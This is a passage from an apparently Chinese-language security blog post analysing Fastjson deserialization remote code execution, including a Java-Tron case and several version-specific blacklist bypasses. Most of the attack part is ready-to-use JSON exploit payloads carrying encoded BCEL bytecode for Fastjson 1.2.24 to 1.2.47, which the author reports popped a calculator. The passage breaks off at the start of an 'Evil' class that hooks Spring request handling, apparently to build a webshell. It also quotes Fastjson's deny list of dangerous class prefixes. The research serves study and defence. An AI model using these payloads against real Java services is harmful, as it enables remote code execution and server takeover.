                "}";
        JSON.parse(payload);
        //com.mysql.jdbc.JDBC4Connection
    }
}

MySQL_Fake_Server搭建一下惡意MySQL Server 彈一下計算器image-20230129213348908

最後簡單放一下呼叫棧image-20230129213650492

commons-io

Java-Tron

Tron(波場):是一種基於區塊鏈技術的分散式作業系統,在其基礎上內生的虛擬貨幣,簡稱TRX

  • 公共區塊鏈
  • 被稱為TRX的加密貨幣,原生於該系統
  • 市場價值:約50億美元。
  • 貨幣持有人。1460萬。
  • TRON網路上有1400個DApps,每日交易量超過1200萬美元(2020/12/17)。

Java Tron:Tron中使用的公鏈協議,它可以在tron節點上啟用HTTP服務內部使用Fastjson解析Json資料

  • TRON推出的公共區塊鏈協議。
  • 用於與區塊鏈互動的HTTP服務
  • 在github上有2.7k顆星的開放原始碼java應用程式
  • 使用fastjson

區塊鏈中的Tron使用了fastjson該如何進行漏洞利用呢?

  • Mysql Connector RCE:沒有C/S資料庫的連線
  • Commons IO read and write file:存在的問題
    1. 如何寫:使用Springboot不能寫WebShell
    2. 怎麼寫:寫class檔案不是以Root的身份,不確定charse.jar的位置
    3. 如何讀:不是透過HTTP直接響應,而是在P2P網路上廣播
    4. 沒有前提條件:使用更多的結點和更多資金

jar包中的JNI

  • 二進位制庫檔案需要在載入前釋放到檔案系統中。
  • 總是在java.io.tmpdir中
  • System.load(libfoo)-->dlopen(libfoo.so)

Leveldb and leveldbjni:

  • 一個快速的key-value儲存庫
  • 被比特幣使用,因此,被許多公有鏈所繼承
  • 儲存區塊鏈後設資料,經常輪詢讀寫情況
  • 需要效率,如https://github.com/fusesource/leveldbjni
  • org.fusesource.hawtjni.runtime.Library#exractAndLoad

https://paper.seebug.org/1698/

https://xz.aliyun.com/t/10533#toc-10

https://www.modb.pro/db/58298

1.2.80

https://y4er.com/posts/fastjson-bypass-autotype-1268/#分析

https://hosch3n.github.io/2022/09/01/Fastjson1-2-80漏洞復現/

https://mp.weixin.qq.com/s/SwkJVTW3SddgA6uy_e59qg

https://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247489735&idx=1&sn=23f924b612cec2466fc64071805fdfca&chksm=c187d8d6f6f051c05abd4b98edb2030a9719df07bdd814e062a996ffe3af27138e85993626ab#rd

https://www.freebuf.com/vuls/354868.html

自fastjson 1.2.68漏洞杯紕漏以後,fastjson的blacklist又有了新的更新,java.lang.AutoCloseablejava.lang.Runnable等眾多類被新增到了黑名單中

如何利用

fastjson1.2.80 的核心思想:利用期望類將未處於黑名單中的類新增到快取中,然後在橫向出Expection之外的型別,類屬性

JSON.toJavaObject(Type)

TypeUtils#cast(Object,Class,ParserConfig)

Fastjson不出網RCE

在fastjson 1.2.47及之前版本的不出網RCE利用的是BCEL ClassLoader

jdk< tomcat-dbcp/mybatis....

fastjson<1.2.24

  • JSON.parseObject(exploit);
{"@type": "org.apache.commons.dbcp.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"$$BCEL$$$l$8b......"}
  • JSON.parse(exploit)
{{"@type": "com.alibaba.fastjson.JSONObject","x":{"@type": "org.apache.commons.dbcp.BasicDataSource","driverClassLoader": {"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$..."}}: "x"}

1.2.33-1.2.47之間

{
"xxx": {
    "@type": "java.lang.Class",
    "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"www": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
    "@type": "com.alibaba.fastjson.JSONObject",
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
    }
}: {}
}

該利用只有在fastjson 1.2.33 - 1.2.47 可利用,首先在1.2.24之後com.sun 在fastjson的黑名單中,並且在1.2.25<fastjson<1.2.33 時,checkAutoType方法中,類只要在黑名單中就丟擲異常。

for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

在fastjson >= 33時,就算反序列的類在黑名單中,只要反序列的類在快取中就不會丟擲異常。可以透過java.lang.Class將惡意類加入到mapping後能夠利用

for(i = 0; i < this.denyList.length; ++i) {
    deny = this.denyList[i];
    if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

java.lang.Class的反序列化器com.alibaba.fastjson.serializer.MiscCodec#deserialze可以將任何類新增到mappings快取中

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();

1.2.48的變化:細節看本文的1.2.48部分,無法利用java.lang.Class新增其他類到快取中,cache=false。image-20230104160015937

1.25-1.32之間

[{
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
    },
    {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
        "x": {
            {
                "@type": "com.alibaba.fastjson.JSONObject",
                "c": {
                    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                    "driverClassLoader": {
                        "$ref": ".."
                    },
                    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
                }
            }: "x"
        }
    }
]

以下是漏洞利用分析fastjson1.2.31版本下的黑名單

bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework

在fastjson 1.2.32版本中com.sun包在黑名單中,導致com.sun.org.apache.bcel.internal.util.ClassLoader無法使用。我們能不能找到突破它的邊界?黑名單的限制在ParserConfig#checkAutoType,原始碼有點長

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() >= this.maxTypeNameLength) {
            throw new JSONException("autoType is not support. " + typeName);
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

在不利用mappings快取的情況下

  • 在autoTypeSupport開啟的情況下,直接會被黑名單攔截
  • 在autoTypeSupport關閉的情況下,直接會被黑名單攔截

在利用mappings快取的情況下

  • 在autoTypeSupport開啟的情況下,直接會被黑名單攔截

  • 在autoTypeSupport關閉的情況下,好像可以直接從快取中取出。所以我們的思路是透過java.lang.Classcom.sun.org.apache.bcel.internal.util.ClassLoaderorg.apache.tomcat.dbcp.dbcp.BasicDataSource放到TypeUtils.mappings快取中然後透過該部分程式碼直接獲取類物件

    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    

    我嘗試了一下確實有搞頭倆者都可以放在mappings中,但是還會觸發對com.sun.org.apache.bcel.internal.util.ClassLoader的檢測,只不過這次是透過對@type反序列化設定bean屬性時,則是透過com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze處理,在該方法中會去獲取屬性對應的型別,並且作為期望類傳入到autotype方法中,可以看到fieldType設定為了java.lang.ClassLoader(expectClass期望類)image-20230105222153171

    然後接著往下走com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze處理@type反序列化設定的bean屬性時,在該方法中會去獲取屬性對應的型別,並且作為期望類傳入到autotype方法中,此時expectClass期望類為java.lang.ClassLoaderimage-20230105222404587

    最後的結果是我們在這個第一層if邏輯的黑名單檢測中直接被查出來是com.sun.org.apache.bcel.internal.util.ClassLoaderimage-20230105222612562

目前還有沒有其他搞頭?答案是有的,在TypeUtils#loadClass方法中,我們可以將黑名單中的類編寫為透過[com.sun.org.apache.bcel.internal.util.ClassLoader、Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 來繞過startsWith的黑名單。

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
	......
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        .......
    }

在不利用mappings快取的情況下:

  • 開啟autoTypeSupport:不可行 雖然可以透過ParserConfig#checkAutoType前一部分程式碼獲得clazz,但是還會使用isAssignableFrom判斷獲取到的clazz是否為ClassLoader子類,如果是則會丟擲異常結束流程,BCEL ClassLoader肯定是ClassLoader的子類,導致無法利用。

       public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    	.......
            if (autoTypeSupport || expectClass != null) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
            }
    
            if (clazz != null) {
                if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                        || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                        ) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
    
                if (expectClass != null) {
                    if (expectClass.isAssignableFrom(clazz)) {
                        return clazz;
                    } else {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }
            }
    	.......
            return clazz;
        }
    
  • 不開啟autoTypeSupport:不可行 ParserConfig#checkAutoType從頭看到尾雖然說逃避了黑名單的檢查但是也無法返回clazz

在利用mappings快取的情況下:

  • 開啟autoTypeSupport:不可行
  • 不開啟autoTypeSupport:不可行

為了躲避黑名單的檢測我們必須把@type設定為Lcom.sun.org.apache.bcel.internal.util.ClassLoader; 但是設定成這樣無法新增進快取mappings中,TypeUtils#loadClass在這種邏輯下沒新增到快取的操作

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
	.......
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
    }

那這不又寄了?還沒結束!安全研究這幫大佬太猛了 回到最初的不利用[L ;來繞過黑名單的分析中:在autoTypeSupport關閉的情況下,好像可以直接從快取中取出 這裡失敗的原因是fastjson對@type反序列化設定bean屬性時,則是透過JavaBeanDeserializer#deserialze處理,在該方法中會去獲取屬性對應的型別,並且作為期望類傳入到checkautotype方法中,driverClass屬性的expectclass為ClassLoader,直接在checkAutoType中進入第一層黑名單判斷。

解決:利用FastJSON的$ref特性 不指定expectClass來為driverClass設定值,因為fastjson使用$ref特性使用的是反射而不是fastjson中的反序列化器。 新的payload如下,但是放在1.2.25-1.2.32的環境中發現並不能RCE。

[ {
    "@type": "java.lang.Class",
    "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
}, 
{
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader",
    "":""
},
{{
    "@type": "com.alibaba.fastjson.JSONObject",
    "c": {
        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
        "driverClassLoader": {
            "$ref":"$[2]"
        },
        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"
    }
}:{}
}]

在講解JSONObject和$ref的章節中提到過:json 字串中的$ref處理邏輯是在DefaultJSONParser#handleResovleTask中,然而我們的 JSONObject.toString 呼叫特殊的 getter 方法是在DefaultJSONParser#parse的邏輯中。這就導致我們的 driverClassLoader 屬性還沒有被賦值,BasicDataSource特殊的 getter 方法已經被呼叫。

//JSON.parse(String text, int features)
public static Object parse(String text, int features) {
    if (text == null) {
        return null;
    } else {
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        Object value = parser.parse();
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

但是它確實可以起到對"driverClassLoader"屬性賦值的作用

[{
  "@type": "java.lang.Class",
  "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},{
   "@type": "java.lang.Class",
   "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},{
   "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
   "":""
},{
   "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
   "driverClassLoader": {
     "$ref": "$[2]"
   },
  "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A"
}]

debug除錯一下,

DefaultJSONParser#parseObject呼叫deserializer.deserialzeimage-20230108174946149

JavaDeanDeserializer#deserialze在這裡新增了resolveTaskimage-20230108175326413

處理resolveTask後可以看到 driverClassLoader 確實被賦值image-20230108110350465

即使這樣在fastjson 1.2.25-1.2.32不出網的環境下依然可以RCE,以下分析均參考自N1CTF中NESE戰隊的payload。上面的payload的使用$ref迴圈引用對bean的屬性進行賦值,具體來說是在JavaDeanDeserializer#deserialze中新增了計劃任務然後到DefaultJSONParser#handleResolveTask中處理$ref。但是經過分析和研究,在JavaDeanDeserializer#deserialze中有這樣一組程式碼,如果遇到 "$ref":".." 就會從 parentContext.object 中獲取物件作為bean中屬性的值

//JavaBeanDeserializer
protected <T> T deserialze(DefaultJSONParser parser,  Type type,  Object fieldName,  Object object, , int features, int[] setFlags) {
    .....
    if ("$ref" == key) {
        lexer.nextTokenWithColon(JSONToken.LITERAL_STRING);
        token = lexer.token();
        if (token == JSONToken.LITERAL_STRING) {
            String ref = lexer.stringVal();
            if ("@".equals(ref)) {
                object = context.object;
            } else if ("..".equals(ref)) {
                ParseContext parentContext = context.parent;
                if (parentContext.object != null) {
                    object = parentContext.object;
                } else {
                    parser.addResolveTask(new ResolveTask(parentContext, ref));
                    parser.resolveStatus = DefaultJSONParser.NeedToResolve;
                }
                ......
            }
        }

在 BasicDataSource 中的 driverClassLoader 屬性值賦值好以後,我們再次使用 JSONObject 呼叫特殊的 getter 方法,所以我們可以構造出這樣的payload結構

{
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
        "x": {
                {
                    "@type": "com.alibaba.fastjson.JSONObject",
                    "c": {
                        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                        "driverClassLoader": {
                            "$ref": ".."
                        },
                        "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
                    }
                }: "x"
    }
}

這裡需要介紹一下幾個要點:

  1. "$ref":".." 透過從 parentContext.object 尋找父類物件的時候按照上面的payload來說會找到JSONObject物件,但是在JSONObject反序列化的過程中會因為 DefaultJSONParser#parseObject 中的以下這組程式碼會將已經放入 this.context 中的 parseContext(JSONObject) 彈出。(Debug)

    if (this.context != null && !(fieldName instanceof Integer) && !(this.context.fieldName instanceof Integer)) {
        this.popContext();
    }
    

    所以結果就是JavaDeanDeserializer#deserialze"$ref":".."找到的父類物件是 com.sun.org.apache.bcel.internal.util.ClassLoader

    具體為什麼這樣估計得研究 ParseContext 我研究了半天反正沒明白它在反序列化中新增和彈出得邏輯是什麼

  2. JSONObject呼叫特殊的 "getter" 方法需要將 JSONObject 整體放在在JSON字串中 key 的位置(具體原理看本文JSONObject呼叫特殊的getter方法部分)

最後我們新增黑名單中的類到快取中就好了

[{
        "@type": "java.lang.Class",
        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    {
        "@type": "java.lang.Class",
        "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
    },
    {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
        "x": {
            {
                "@type": "com.alibaba.fastjson.JSONObject",
                "c": {
                    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                    "driverClassLoader": {
                        "$ref": ".."
                    },
                    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5p$a0$Xn$m$$$I$qDXD$R$9c$a7$c3$a8$M$84$a4J$a7$a8o$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$jK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$a6$8a$95$deb$c8VW$ce$Y$9c$ed$e4B2$94B$V$cb$c3$ceMC$a6$a7$bc$R$91R$O$T$c1$a33$9e$w$T$7f$8a$8e$beTmb$84$3b$b7$w$da$60$f06E$f4$89c$94$ae$84W$fc$96$d7TR$db$3b$da$e9$K$d9$d2$w$89$a9$acX$d7$5c$5c$l$f0$96$c5$d0F$M$7e$3d$e9$a4B$ee$w$83$z$Y$dc$9a$e9$NP$80$efb$s$c0$y$e6h$k$ad$m$C$ccc$81a$e0$lv$80E$f8Tf$fa$Z$falE$c4$e3f$ed$a8q$r$85f$e8$ff$91N$3a$b1V74$cdoJ$fd$jT$aa$x$e1$9f$gZ$d9$91$5d$v$Y$96$ab$bf$b2u$9d$aa$b8$b9$f1$bb$e18M$84l$b7$a9$a1$d4$a2$a4$b6$87$9e$a6$5cH$3a$c0$a5$9fa$9e$M$989$8bl$PE5$f2$8c$7cn$f5$R$ec$de$a6$D$b2y$xfQ$q$h$7c$U$a0$X$r$f2$k$fa$be$9b$b9$85$B$e5$td$ca$d9$H8$e7w$f0$f6W$l$90$bf$b7z$81zsD1$c4$n$fa2$dc$82U$5d$o$7b$e8$t$d2$d7$84$o$i$8a$cb$U$N$d0$eb$o$T$ba$Yt$uQ$b1K$N$bd$DY$a1$d4$95V$C$A$A"
                }
            }: "x"
        }
    }
]

最終也是成功彈出計算器。image-20230109151434713

(裡面具體原理好多不懂,擱淺了最近不會再看fastjson)

BCEL位元組碼

除了上述對於fastjson的分析,我們還需要準備惡意的BCEL位元組碼。(自己沒有寫過,這裡做一個搬用工

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

    public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

        Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
        Object obj = m.invoke(null);

        m = obj.getClass().getMethod("getRequest");
        Object request = m.invoke(obj);

        m = obj.getClass().getMethod("getResponse");
        Object response = m.invoke(obj);

        m = request.getClass().getMethod("getParameter", String.class);

